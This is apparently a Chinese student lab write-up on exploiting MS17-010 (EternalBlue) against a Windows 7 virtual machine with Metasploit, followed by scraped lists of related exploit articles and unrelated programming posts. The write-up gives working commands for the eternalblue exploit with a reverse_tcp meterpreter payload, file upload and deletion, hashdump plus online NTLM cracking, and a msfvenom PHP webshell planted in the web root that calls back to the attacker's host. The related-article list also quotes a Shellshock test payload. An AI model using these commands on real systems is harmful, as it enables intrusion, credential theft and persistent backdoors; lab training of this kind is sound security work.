MS17-010漏洞利用
MS17-010漏洞利用
1.安装虚拟机win7 x64,实现利用ms17-010实现对其win7 x64主机开始渗透,查看该主机信息,打开远程桌面,抓取用户名和密码并破译,创建一个 : 学号.txt文件,实现上传,下载,删除。
首先启动win7 x64虚拟机,查看IP地址为192.168.70.139,如下如图所示:

在win7 x64上搭建wamp网站服务器从上到下依次安装软件,如下如所示:

安装成功后通过浏览器访问192.168.70.139查看是否能正常访问该网站,如下图所示:

Ms17-010漏洞的利用
接下来打开kali实现利用ms17-010漏洞,实现对其win7 x64主机进行渗透,首先使用scanner下扫描模块扫描目标主机是否存在ms17-010的漏洞,如下图所示:
在kali中输入以下命令:
命令:
msfconsole

命令:search ms17-010

>use auxiliary/scanner/smb/smb_ms17-010
>set RHOSTS 192.168.70.139
>run

确认目标机器的操作系统及存在漏洞之后便可以进行漏洞攻击了,输入命令use exploit/windows/smb/ms17_010_eternalblue,调用exploit下的ms17_010_eternalblue模块,并输入命令show payloads 查看可用的payload,如下图所示:

输入命令set payload windows/x64/meterpreter/reverse_tcp设置payload,并输入命令show options查看参数配置,如下图所示,需要配置的参数为RHOST和LHOST

输入命令set RHOST 192.168.70.139 配置目标机器的IP地址,输入命令set LHOST 192.168.70.134 配置kali本地的IP地址,配置完成后输入命令show options检查参数,如下图所示:

参数配置检查无误后,输入命令run开始攻击,并且返回一个meterptrter会话说明已经攻击成功了,如下图所示:

后渗透攻击:信息收集
进程迁移:例如攻击者利用浏览器漏洞攻陷了目标主机,但攻击渗透后的浏览器有可能被用户关闭,此shell是非常脆弱的,所以获取shell后的第一步就是移动这个shell,将它和目标主机中一个稳定的进程绑定在一起。
例如:输入ps命令获取目标主机正在运行的进程,如下图所示:

输入命令getpid查看meterperter shell的进程号为2280,如下图所示:

我们可用使用自动迁移进程命令,系统会自动寻找合适的进程然后进行迁移,输入自动迁移命令run post/windows/manage/migrate,执行命令后此时将原先的2280进程号修改为1244,如图所示:

收集系统信息:获取了稳定进程之后开始收集系统信息,输入命令sysinfo查看目标主机的系统信息,如下图所示:

捕获桌面输入命令screenshot抓取目标主机的屏幕截图路径为/root/bPgQxuoB,jpeg文件,如下图所示:


输入shell命令进入目标机器shell,如下图所示:

在shell输入exit可用停止shell会话并返回meterperter中,如下图所示:

上传文件命令upload,在kali虚拟机root目录下存在70zsz.txt文件,其内容为I‘m is 70 zsz!,输入命令upload /root/70zsz.txt c:\\,此文件上传到目标机器c:\目录下,如下图所示:

输入shell进入Windows shell查看从c:\目录下是否有刚刚我们上传的70zsz.txt文件,如下图所示:

下载文件命令download,输入命令download c:\70zsz.txt/root/download将目标机器c:\下的70zsz.txt下载到本机/root/download中,如下图所示:


输入命令rm c:\\70zsz.txt 将目标机器c:\下的70zsz.txt删除,如下图所示:

后渗透攻击:Hash攻击
使用Hashdump抓取密码,HashdumpMeterpreter脚本可用从目标机器中提取Hash值,破解Hash值可获得登录密码。计算机中的每个账号的用户名和密码都存储在sam中,当计算机运行时,该文件对所有账号进行锁定,想要访问就必须有“系统级“的账号。
在meterpreter shell提示符下输入hashdump命令,将导出sam数据库中Hash,如下图所示:

从图中我们可用看出,返回了三个用户账号,分别为Administrator,Guest,zsz,数据输出的格式为用户名:SID:LM哈希:NTLM哈希:::,在zsz账户中NTLM哈希进行破解,使用在线破解网站对其进行破解,如https://www.cmd5.com/,可以看到结果正是为zsz账户的密码:123456

后渗透攻击:后门
Meterpreter后门:在Meterpreter中,有一个名为PGP Meterpreter的payload,利用这个模块可创建具有Meterpreter功能的PHP WebShell,在攻击中使用Metasploit PHP Shell步骤如下:
1.使用msfvenom创建一个webshell.php
2.上传webshell.php到目标服务器
3.运行Metasploit multi-handler开始监听
4.访问webshell.php页面
5.获得反弹Metasploit shell
首先通过Metasploit的msfvenom攻击制作PHP Meterpreter,输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.70.134 -f raw > 070zsz.php,如下图所示:

因为目标主机使用了wampserver,因此得知需要上传070zsz.php文件至目标主机中c:\wamp64\www中,如下图所示:

输入exit返回meterpreter,使用上传命令upload/root/070zsz.php c:\\wamp64\\www中,如下图所示:

输入exit回到msf,输入如下命令设置监听,如下图所示:
>exit
>use exploit/multi/handler
>set payload php/meterpreter/reverse_tcp
>set LHOST 192.168.70.134
>run

打开浏览器,访问目标机器服务器中070zsz.php文件,即访问http://192.168.70.139/070zsz.php ,结果可以看到服务端反弹shell成功如下图所示:

MS17-010漏洞利用的更多相关文章
- apt28组织新的flash漏洞利用包dealerschoice分析
17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...
- ms17-010漏洞利用教程
ms17-010 漏洞利用并拿下服务器教程 攻击环境: 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168 ...
- Linux环境下常见漏洞利用技术(培训ppt+实例+exp)
记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...
- Linux堆溢出漏洞利用之unlink
Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...
- Struts2漏洞利用实例
Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...
- LFI漏洞利用总结
主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...
- heartbleed漏洞利用
1. heartbleed漏洞扫描: 2. heartbleed漏洞利用: poc.py 117.52.93.111 貌似没有打到管理员账号密码,可能是管理员没登录,其实,可以写一个自动 ...
- Kali Linux渗透基础知识整理(三):漏洞利用
漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...
- CVE-2014-6271 Bash漏洞利用工具
CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...
随机推荐
- C++学习 1 数组
一维数组: 定义:1.数据类型 数组名 [ 数组长度 ]: int arr [5];//赋值 arr[0]=10; arr[1]=20; arr[2]=30; arr[3]=40; arr[4]=50 ...
- 高级爬虫面试题测试题 v1.3
Python Web高级爬虫工程师测试题 (请本文件发送到: SpiderTestQuestion@163.com 并附带简历) 1. 用yield写一个斐波那契数列的生成器函数. 2. 放一段scr ...
- postman如何解决下个接口依赖上一个接口数据
解决思路:将上一个接口返回的数据保存起来,然后提供下个接口使用,postman中通过设置全局变量来保存数据 步骤1:在Tests中添加如下图js代码. var jsondata = JSON.pars ...
- [kuangbin带你飞]专题一 简单搜索 棋盘问题
题来:链接https://vjudge.net/problem/OpenJ_Bailian-132 J - 棋盘问题 1.题目: 在一个给定形状的棋盘(形状可能是不规则的)上面摆放棋子,棋子没有区别. ...
- leetcode347 —— n中topK && PriorityQueue(Heap) && Map遍历
题目要求:求前K个最频繁出现的数字. 1.很容易想到,使用HashMap<Integer,Integer>来存储<number,frequency>键值对 1 int n = ...
- spring源码分析(二)- 容器基础
1.基本用法 用过Spring的都知道,bean是Spring中最基础也是最核心的.首先看一个简单的例子. 一个类和一个配置文件 package bean; public class MyBean { ...
- AIApe问答机器人Scrum Meeting 4.29
Scrum Meeting 4 日期:2021年4月29日 会议主要内容概述:汇报两日工作,讨论任务优先级. 一.进度情况 组员 负责 两日内已完成的工作 后两日计划完成的工作 工作中遇到的困难 李明 ...
- SI Macro
获取 buf 里的 symbol cbuf = BufListCount() msg(cbuf) ibuf = 0 while (ibuf < cbuf) { hbuf = BufListIte ...
- HashSet的remove方法(一道面试题)
1 public class CollectionTest { 2 3 @Test 4 public void test3(){ 5 HashSet set = new HashSet(); 6 Pe ...
- k8s入坑之路(3)containerd容器
containerd概念: containerd主要是namebases与k8s docker不同 存放路径不一致 没有默认仓库 容器运行时: 2020年未kubernetes宣布不再支持docker ...